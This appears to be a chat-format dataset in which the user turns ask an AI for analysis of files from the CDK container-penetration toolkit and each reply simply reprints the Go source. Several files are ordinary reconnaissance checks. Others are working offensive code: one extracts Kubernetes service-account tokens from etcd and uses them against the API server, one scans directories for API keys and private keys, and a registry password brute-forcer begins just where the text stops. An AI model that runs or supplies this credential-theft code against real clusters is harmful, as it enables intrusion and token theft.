WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"log\"\n\t\"os\"\n\t\"regexp\"\n)\n\nfunc SearchSensitiveEnv() {\n\tfor _, env := range os.Environ() {\n\t\tans, err := regexp.MatchString(conf.SensitiveEnvRegex, env)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t} else if ans {\n\t\t\tlog.Printf(\"sensitive env found:\\n\\t%s\", env)\n\t\t}\n\t}\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryServices, \"services.sensitive_env\", \"Search sensitive environment variables\", SearchSensitiveEnv)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/sensitive_local_file_path.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\nfunc SearchLocalFilePath() {\n\n\tfilepath.Walk(conf.SensitiveFileConf.StartDir, func(path string, info os.FileInfo, err error) error {\n\t\tfor _, name := range conf.SensitiveFileConf.NameList {\n\t\t\tcurrentPath := strings.ToLower(path)\n\t\t\t//if util.IsSoftLink(currentPath) && util.IsDir(currentPath) {\n\t\t\t//\tfmt.Println(\"skip\", currentPath)\n\t\t\t//\treturn filepath.SkipDir // skip soft link or it will run into container runtime filesystem\n\t\t\t//}\n\t\t\tif strings.Contains(currentPath, name) {\n\t\t\t\tfmt.Printf(\"\\t%s - %s\\n\", name, path)\n\t\t\t\tif util.IsDir(currentPath) {\n\t\t\t\t\treturn filepath.SkipDir // stop dive if sensitive dir found\n\t\t\t\t}\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategorySensitiveFiles, \"filesystem.sensitive\", \"Search for sensitive file paths\", SearchLocalFilePath)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/sensitive_service.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"github.com/cdk-team/CDK/conf\"\n\tgops \"github.com/mitchellh/go-ps\"\n\t\"log\"\n\t\"regexp\"\n)\n\nfunc SearchSensitiveService() {\n\tprocessList, err := gops.Processes()\n\tif err != nil {\n\t\tlog.Println(\"ps.Processes() Failed, are you using windows?\")\n\t}\n\tfor _, proc := range processList {\n\t\tans, err := regexp.MatchString(conf.SensitiveProcessRegex, proc.Executable())\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t} else if ans {\n\t\t\tlog.Printf(\"service found in process:\\n\\t%d\\t%d\\t%s\\n\", proc.Pid(), proc.PPid(), proc.Executable())\n\t\t}\n\t}\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryServices, \"services.sensitive_service\", \"Search sensitive services\", SearchSensitiveService)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/service_discovery_dns.go.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"sort\"\n\t\"strings\"\n)\n\n// https://github.com/kubernetes/dns/blob/master/docs/specification.md\nfunc DNSBasedServiceDiscovery() {\n\tdnsNames := []string{\"any.any.svc.cluster.local.\", \"any.any.any.svc.cluster.local.\"}\n\n\tvar results []*net.SRV\n\tfor _, name := range dnsNames {\n\t\t_, srvs, err := net.LookupSRV(\"\", \"\", name)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"error when requesting coreDNS: %s\\n\", err.Error())\n\t\t\tcontinue\n\t\t}\n\n\t\tresults = append(results, srvs...)\n\t}\n\n\tsort.Slice(results, func(i, j int) bool {\n\t\tswitch strings.Compare(results[i].Target, results[j].Target) {\n\t\tcase -1:\n\t\t\treturn true\n\t\tcase 0:\n\t\t\treturn results[i].Port < results[j].Port\n\t\tcase 1:\n\t\t\treturn false\n\t\t}\n\t\treturn false\n\t})\n\n\tfor _, srv := range results {\n\t\tfmt.Println(srv.Target, srv.Port)\n\t}\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryDNS, \"dns.service_discovery\", \"Enumerate DNS-based service discovery\", DNSBasedServiceDiscovery)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/sysctl_vars.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"io/ioutil\"\n\t\"log\"\n\t\"strings\"\n)\n\nvar RouteLocalNetProcPath = \"/proc/sys/net/ipv4/conf/all/route_localnet\"\n\nfunc CheckRouteLocalNetworkValue() {\n\tdata, err := ioutil.ReadFile(RouteLocalNetProcPath)\n\tif err != nil {\n\t\tlog.Printf(\"err found while open %s: %v\\n\", RouteLocalNetProcPath, err)\n\t\treturn\n\t}\n\tlog.Printf(\"net.ipv4.conf.all.route_localnet = %s\", string(data))\n\tif strings.TrimSpace(string(data)) == \"1\" {\n\t\t// from: https://github.com/kubernetes/kubernetes/issues/92315\n\t\tlog.Println(\"You may be able to access the localhost service of the current container node or other nodes.\")\n\t}\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategorySysctl, \"sysctl.route_localnet\", \"Check route_localnet sysctl value\", CheckRouteLocalNetworkValue)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/system_info.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"os/user\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\t\"github.com/shirou/gopsutil/v3/host\"\n)\n\nfunc BasicSysInfo() {\n\t// current dir(pwd)\n\tdir, err := os.Getwd()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tlog.Println(\"current dir:\", dir)\n\n\t// current user(id)\n\tu, err := user.Current()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tlog.Println(\"current user:\", u.Username, \"uid:\", u.Uid, \"gid:\", u.Gid, \"home:\", u.HomeDir)\n\n\t// hostname\n\thostname, err := os.Hostname()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tlog.Println(\"hostname:\", hostname)\n\n\t// os/kernel version\n\tkversion, _ := host.KernelVersion()\n\tplatform, family, osversion, _ := host.PlatformInformation()\n\tlog.Println(family, platform, osversion, \"kernel:\", kversion)\n\n}\n\n// FindSidFiles such as run `find /bin/. -perm -4000 -type f `\nfunc FindSidFiles() {\n\n\tvar setuidfiles []string\n\n\tfor _, dir := range conf.DefaultPathEnv {\n\t\tfiles, err := ioutil.ReadDir(dir)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, file := range files {\n\t\t\t// check setuid bit\n\t\t\tif file.Mode()&os.ModeSetuid != 0 {\n\t\t\t\tsetuidfiles = append(setuidfiles, dir+\"/\"+file.Name())\n\t\t\t}\n\n\t\t\t// check capabilites, like getcap -r /bin\n\t\t\t// TODO: check capabilites\n\t\t}\n\t}\n\n\tif len(setuidfiles) > 0 {\n\t\tutil.PrintItemKey(\"Setuid files found:\", false)\n\t\tfor _, file := range setuidfiles {\n\t\t\tutil.PrintItemValue(file, true)\n\t\t}\n\t}\n}\n\n// CommandAllow check command allow to run\nfunc CommandAllow() {\n}\n\nfunc ASLR() {\n\t// ASLR off: /proc/sys/kernel/randomize_va_space = 0\n\tvar ASLRSetting = \"/proc/sys/kernel/randomize_va_space\"\n\n\tdata, err := ioutil.ReadFile(ASLRSetting)\n\tif err != nil {\n\t\tlog.Printf(\"err found while open %s: %v\\n\", RouteLocalNetProcPath, err)\n\t\treturn\n\t}\n\tlog.Printf(\"/proc/sys/kernel/randomize_va_space file content: %s\", string(data))\n\n\tif string(data) == \"0\" {\n\t\tlog.Println(\"ASLR is disabled.\")\n\t} else {\n\t\tlog.Println(\"ASLR is enabled.\")\n\t}\n\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategorySystemInfo, \"system.basic_info\", \"Collect basic system information\", BasicSysInfo)\n\tRegisterSimpleCheck(CategorySystemInfo, \"system.setuid_files\", \"Search for setuid binaries\", FindSidFiles)\n\tRegisterSimpleCheck(CategoryASLR, \"system.aslr\", \"Inspect ASLR configuration\", ASLR)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/exp_init.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage exploit\n\nimport (\n\t// register all kinds of exploits\n\t_ \"github.com/cdk-team/CDK/pkg/exploit/credential_access\"\n\t_ \"github.com/cdk-team/CDK/pkg/exploit/discovery\"\n\t_ \"github.com/cdk-team/CDK/pkg/exploit/escaping\"\n\t_ \"github.com/cdk-team/CDK/pkg/exploit/persistence\"\n\t_ \"github.com/cdk-team/CDK/pkg/exploit/privilege_escalation\"\n\t_ \"github.com/cdk-team/CDK/pkg/exploit/remote_control\"\n)\n\nfunc init() {\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/exploit_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage exploit\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestBlankInString(t *testing.T) {\n\n\ttestCase := []string{\"\", \"any strings\"}\n\n\tfor _, value := range testCase {\n\t\tt.Run(\"TestBlankInString\", func(t *testing.T) {\n\t\t\tassert.True(t, strings.Contains(value, \"\"), \"return True.\")\n\t\t})\n\t}\n\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/test_poc.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage exploit\n\nimport (\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"log\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n)\n\n// TESTExploit plugin interface\n// test-poc can not delete, if we delete, will cause panic in Github Action with an unknown error\ntype TESTExploit struct{ base.BaseExploit }\n\nfunc (p TESTExploit) Desc() string {\n\treturn \"this is the test script\"\n}\nfunc (p TESTExploit) Run() bool {\n\t// if your script needs input, handle `var lib.Args[\"\"]` by yourself.\n\t// example\n\tif cli.Args[\"\"] != nil {\n\t\tlog.Printf(\"%v\", cli.Args[\"\"].([]string))\n\t}\n\n\t// functional codes\n\tlog.Printf(\"\\n[test] run success\\n\")\n\tlog.Printf(\"[test] ping -> pong\\n\")\n\n\t// return [true/false] when [normal exit/fatal]\n\treturn true\n}\n\nfunc init() {\n\texploit := TESTExploit{}\n\tplugin.RegisterExploit(\"test-poc\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/base/base.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage base\n\ntype BaseExploit struct {\n\tExploitType string\n}\n\nfunc (b BaseExploit) GetExploitType() string {\n\treturn b.ExploitType\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/credential_access/etcd_get_k8s_token.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_etcd_get_k8s_token\n// +build !no_etcd_get_k8s_token\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage credential_access\n\nimport (\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/etcdctl\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n\t\"github.com/tidwall/gjson\"\n)\n\nconst (\n\tdefaultEtcdCert = \"/etc/kubernetes/pki/etcd/peer.crt\"\n\tdefaultEtcdCertKey = \"/etc/kubernetes/pki/etcd/peer.key\"\n\tdefaultEtcdCa = \"/etc/kubernetes/pki/etcd/ca.crt\"\n\tdefaultEndpoint = \"http://127.0.0.1:2379\"\n)\n\nvar k8sTokenPath = \"/registry/secrets/kube-system/\"\n\n// plugin interface\ntype EtcdGetToken struct{ base.BaseExploit }\n\nfunc (p EtcdGetToken) Desc() string {\n\tvar buffer strings.Builder\n\n\tbuffer.WriteString(\"Connect to etcd and get token of k8s. \")\n\tbuffer.WriteString(\"Notice to choose anonymous|default (need CA Cert). \")\n\tbuffer.WriteString(\"Usage: cdk run etcd-get-k8s-token (anonymous|default) \")\n\n\treturn buffer.String()\n}\n\nfunc (p EtcdGetToken) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\n\tvar (\n\t\tetcdCert = defaultEtcdCert\n\t\tetcdCertKey = defaultEtcdCertKey\n\t\tetcdCa = defaultEtcdCa\n\t\tendpoint = defaultEndpoint\n\t)\n\n\tif len(args) == 0 {\n\t\tfmt.Println(\"Example: cdk run etcd-get-k8s-token anonymous http://172.16.61.10:2379\")\n\t\treturn false\n\t}\n\n\ttlsConfig := &tls.Config{}\n\n\tif args[0] == \"default\" {\n\t\tswitch len(args) {\n\t\tcase 1:\n\t\tcase 2:\n\t\t\tendpoint = args[1]\n\t\tcase 3:\n\t\t\tendpoint = args[1]\n\t\t\tetcdCert = args[2]\n\t\tcase 4:\n\t\t\tendpoint = args[1]\n\t\t\tetcdCert = args[2]\n\t\t\tetcdCertKey = args[3]\n\t\tdefault:\n\t\t\tendpoint = args[1]\n\t\t\tetcdCert = args[2]\n\t\t\tetcdCertKey = args[3]\n\t\t\tetcdCa = args[4]\n\t\t}\n\n\t\tcert, err := tls.LoadX509KeyPair(etcdCert, etcdCertKey)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"[etcd-get-token] run failed:\", err.Error())\n\t\t\treturn false\n\t\t}\n\t\tcaData, err := ioutil.ReadFile(etcdCa)\n\t\tpool := x509.NewCertPool()\n\t\tpool.AppendCertsFromPEM(caData)\n\t\ttlsConfig.Certificates = []tls.Certificate{cert}\n\t\ttlsConfig.RootCAs = pool\n\t} else {\n\t\tif len(args) <= 1 {\n\t\t\treturn false\n\t\t}\n\t\tendpoint = args[1]\n\t}\n\n\topt := etcdctl.EtcdRequestOption{\n\t\tEndpoint: endpoint,\n\t\tApi: \"/v3/kv/range\",\n\t\tMethod: \"POST\",\n\t\tPostData: etcdctl.GenerateQuery(\"/\"),\n\t\tTlsConfig: tlsConfig,\n\t\tSilent: true,\n\t}\n\n\tvar flag bool\n\tresp, err := etcdctl.DoRequest(opt)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn flag\n\t}\n\tkeys, err := etcdctl.GetKeys(resp, opt.Silent)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn flag\n\t}\n\tfor k := range keys {\n\t\tif strings.HasPrefix(k, k8sTokenPath) {\n\t\t\topt.PostData = etcdctl.GenerateQuery(k)\n\t\t\tresp1, err := etcdctl.DoRequest(opt)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\treturn flag\n\t\t\t}\n\t\t\tkvs, err := etcdctl.GetKeys(resp1, opt.Silent)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t\treturn flag\n\t\t\t}\n\t\t\tfor k, v := range kvs {\n\t\t\t\tif strings.Contains(v, \"#kubernetes.io/service-account-token\") {\n\t\t\t\t\ttoken := regexp.MustCompile(\"eyJh[\\\\w\\\\.-]+\").FindString(v)\n\t\t\t\t\tif token != \"\" {\n\t\t\t\t\t\tflag = true\n\t\t\t\t\t\tfmt.Println(fmt.Sprintf(\"[%s] %s\", k, token))\n\t\t\t\t\t\tresp, err := getPods(token, endpoint)\n\t\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t\tpods := gjson.Get(resp, \"items\").Array()\n\t\t\t\t\t\t\tresult := fmt.Sprintf(\"[etcd-get-k8s-token] There are %d pods in kube-system namespace.\", len(pods))\n\t\t\t\t\t\t\tfmt.Println(result)\n\t\t\t\t\t\t\t// Port 6443/https is requested by default. If the token is valid, the function return.\n\t\t\t\t\t\t\treturn flag\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn flag\n}\n\nfunc getPods(token, endpoint string) (string, error) {\n\tu, _ := url.Parse(endpoint)\n\topts := kubectl.K8sRequestOption{\n\t\tToken: token,\n\t\tServer: \"https://\" + strings.Replace(u.Host, \":\"+u.Port(), \":6443\", -1),\n\t\tApi: \"/api/v1/namespaces/kube-system/pods\",\n\t\tMethod: \"GET\",\n\t}\n\tresp, err := kubectl.ServerAccountRequest(opts)\n\treturn resp, err\n}\n\nfunc init() {\n\texploit := EtcdGetToken{}\n\texploit.ExploitType = \"credential-access\"\n\tplugin.RegisterExploit(\"etcd-get-k8s-token\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/credential_access/file_scan.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_file_scan\n// +build !no_file_scan\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage credential_access\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n)\n\nfunc SearchLocalFileText(StartDir string) {\n\t_ = filepath.Walk(StartDir, func(path string, info os.FileInfo, err error) error {\n\n\t\t// broken soft-link file will trigger panic in os.Stat().xxx()\n\t\tdefer func() {\n\t\t\tif err := recover(); err != nil {\n\n\t\t\t}\n\t\t}()\n\n\t\tfileInfo, _ := os.Stat(path)\n\n\t\t// skip soft-link\n\t\t//if util.IsSoftLink(path) {\n\t\t//\tprintln(\"skip ln:\", path)\n\t\t//\treturn nil\n\t\t//}\n\t\t// drop dir, only scan files\n\t\tif fileInfo.IsDir() {\n\t\t\treturn nil\n\t\t}\n\t\t// skip large file\n\t\tif fileInfo.Size() > conf.ScanFileTextConf.MaxFileByte {\n\t\t\treturn filepath.SkipDir\n\t\t}\n\t\t// skip executable file\n\t\tif conf.ScanFileTextConf.SkipExecutableFile && strings.Contains(fileInfo.Mode().String(), \"x\") {\n\t\t\treturn filepath.SkipDir\n\t\t}\n\n\t\t// read file text\n\t\tdata, err := ioutil.ReadFile(path)\n\t\tif err != nil {\n\t\t\t//log.Fatal(err) //ignore fatal errors\n\t\t}\n\n\t\t// apply regexp match\n\t\tfor k, v := range conf.ScanFileTextConf.RegexList {\n\t\t\tpattern := regexp.MustCompile(v)\n\t\t\tparams := pattern.FindAllStringSubmatch(string(data), -1)\n\t\t\tfor _, matched := range params {\n\t\t\t\tfmt.Printf(\"\\nfound %s in: %s\\n%s\\n\", k, path, matched)\n\t\t\t}\n\t\t}\n\n\t\treturn nil\n\t})\n}\n\n// plugin interface\ntype FileScanS struct{ base.BaseExploit }\n\nfunc (p FileScanS) Desc() string {\n\treturn \"search AK/Secrets from input dir, usage: cdk run ak-leakage \"\n}\nfunc (p FileScanS) Run() bool {\n\tif len(cli.Args[\"\"].([]string)) != 1 {\n\t\tlog.Println(\"Invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\tpath := cli.Args[\"\"].([]string)[0]\n\tlog.Println(\"searching secrets in \", path)\n\tSearchLocalFileText(path)\n\tlog.Println(\"finished.\")\n\treturn true\n}\n\nfunc init() {\n\texploit := FileScanS{}\n\texploit.ExploitType = \"credential-access\"\n\tplugin.RegisterExploit(\"ak-leakage\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/credential_access/file_scan_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage credential_access\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"regexp\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc captureStdout(f func()) string {\n\trescueStdout := os.Stdout\n\tr, w, _ := os.Pipe()\n\tos.Stdout = w\n\tf()\n\t_ = w.Close()\n\tout, _ := ioutil.ReadAll(r)\n\tos.Stdout = rescueStdout\n\treturn string(out)\n}\n\nfunc TestSearchLocalFileText(t *testing.T) {\n\texpectedStdout := `\nfound RSA private key in: ../../test/scan_file_text/1\n[-----BEGIN RSA PRIVATE KEY-----]\n\nfound RSA private key in: ../../test/scan_file_text/xxx/2.txt\n[-----BEGIN RSA PRIVATE KEY-----]\n\nfound Twilio API Key in: ../../test/scan_file_text/xxx/2.txt\n[SKaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa]\n\nfound AWS API Key in: ../../test/scan_file_text/xxx/2.txt\n[AKIA99999999999999AB]\n`\n\n\tactualStdout := captureStdout(func() {\n\t\tSearchLocalFileText(\"../../test\")\n\t})\n\n\tpattern := regexp.MustCompile(\"found \")\n\texpParams := len(pattern.FindAllStringSubmatch(string(expectedStdout), -1))\n\tactParams := len(pattern.FindAllStringSubmatch(string(actualStdout), -1))\n\n\tassert.Equal(t, expParams, actParams, \"That should be equal\")\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/credential_access/image_registry_brute.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_image_registry_brute\n// +build !no_image_registry_brute\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage credential_access\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\tb64 \"encoding/base64\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// plugin interface\ntype RegistryBruteS struct{ base.BaseExploit }\n\nfunc (p RegistryBruteS) Desc() string {\n\treturn \"To container image registry, brute force the accounts and passwords cracking. Usage: ./cdk registry-brute . Example: ./cdk registry-brute https://index.docker.io/ root,admin /tmp/passwordfile.\"\n}\n\nfunc 